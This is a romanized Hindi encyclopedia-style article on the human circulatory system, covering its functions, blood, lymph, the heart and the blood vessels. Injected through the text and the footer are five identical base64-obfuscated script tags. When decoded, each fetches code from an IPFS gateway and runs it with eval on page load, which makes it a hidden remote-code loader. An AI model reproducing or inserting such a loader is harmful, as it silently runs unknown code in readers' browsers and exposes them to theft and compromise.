परिसंचरण तन्त्र
thumb|400px|manushy ka parisancharan tantr parisancharan tantr (aangrezi:Circulatory System) bahukoshikiy praniyoan ke sharir mean taral ya sanvahaniy sanyoji ootak pache hue poshak padarthoan, aauksijan, harmons, karban daiaauksaid tatha any utsarji padarthoan ke liye yatayat ka kary karata hai. is lekh mean manav sharir se sanbandhit ullekh hai. jis prakar ham bas ya tren ke dvara ek sthan se doosare sthan tak jate haian, usi prakar is kary ke lie sharir mean ek vistrit paip lain ka tantr hota hai. ise parisancharan tantr kahate haian. sharir evan vatavaran ke bich tatha sharir ke vibhinn ootakoan ke bich padarthoan ka nirantar rasayanik adan–pradan isi tantr ke madhyam se hota hai.
kary
hamare sharir mean parisancharan tantr ke pramukh kary nimnalikhit haian—
- khady padarthoan ka parivahan
parisancharan tantr aharanal mean pache hue khady padarthoan ko sharir ki vibhinn koshikaoan tak pahuanchata hai.
- aauksijan ka parivahan
yah tantr aauksijan ko pheph doan ki vayu koopikaoan se grahan karake sharir ki pratyek koshika tak pahuanchata hai.
- karban dai aauksaid ka parivahan
koshikiy shvasan mean utpann CO2 ko pheph doan tak parivahan ka kary parisancharan tantr hi karata hai.
- utsarji padarthoan ka parivahan
ootakoan v koshikaoan mean upapachay ke phalasvaroop bane utsarji ya apashisht padarthoan ke parisancharan tantr ke dvara hi utsarji aangoan (vrikkoan) tak pahuanchaya jata hai.
- harmons ka parivahan
parisancharan tantr harmons ko sharir ke vibhinn bhagoan tak pahuanchata hai.
thumb|250px|left|parisancharan tantr
Circulatory System
- sharir ke tapaman ka niyaman
parisancharan tantr sharir ke tapaman ko sthir banae rakhane ka mahattvapoorn kary karata hai.
- samasthaitikata banae rakhana
parisancharan jal tatha haidrojan ayanoan (H+) evan rasayanik padarthoan ke vitaran dvara sharir ke sabhi bhagoan mean antirik samasthaitikata ko banae rakhata hai.
- sharir ki rogoan se raksha karana
parisancharan sharir ke pratirakshi tantr ka bhi kary karata hai. yah sharir mean pravesh karane vale roganuoan se sharir ki raksha karata hai.
uparyukt karyoan ke kriyanvan hetu parisancharan tantr mean do prakar ke taral padarth hote haian—
- rudhir evan
- lasika
ye donoan hi taral, ek–doosare se prithak, anek chhoti–chhoti vahiniyoan ke madhyam se sharir ke samast bhagoan mean pahuanchate rahate haian. atah parisancharan tantr ko do tantroan mean vibhajit kiya gaya hai—
- rudhir parisancharan tantr
- lasika tantr
rudhir parisancharan tantr
thumb|parisancharan tantr
Circulatory System
isake antargat rudhir, hriday, dhamani v shira ati haian. hriday dhamaniyoan dvara rakt ko sharir ke vibhinn bhagoan mean pahuanchakar shiraoan ke dvara ekatr karata hai.
manav hriday
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
hriday manav sharir ka ati mahattvapoorn aang hota hai. yah sharir mean vaksh bhag mean tho da baeean or adhar tal ki or sthit hota hai. yah jivanaparyant dh dakata rahata hai.
sanrachana
ek svasth manushy ka hriday lagabhag 13 semi lamba tatha 9 semi chau da hota hai. samanyatah isaka akar band mutthi ke saman hota hai. hriday ka bhar lagabhag 300 gram, rang gahara lal ya baiangani hota hai. hriday hridayavaran se ghira rahata hai. is thaili mean hridayavaraniy drav bhara rahata hai. jo bahari aghatoan se hriday ki raksha karata hai.
rudhir vahiniyaan
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
rudhir vahiniyaan sharir mean rakt ke parisancharan tantr ka pramukh bhag hoti haian. inake dvara sharir mean rakt ka parivahan hota hai. rudhir vahiniyaan tin prakar ki hoti hai—
thumb|250px|left|manav parisancharan tantr
Human Circulatory System
- dhamaniyaan
- shiraean
- keshikaean
lasika tantr
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sabhi kasherookiyoan mean rudhir parisancharan mean atirikt lasika parisancharan tantr paya jata hai. taral ko lasika kahate haian. lasika tantr lasika koshikaoan, lasika vahiniyoan, lasika gaanthoan v lasika aango se milakar bana hota hai.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>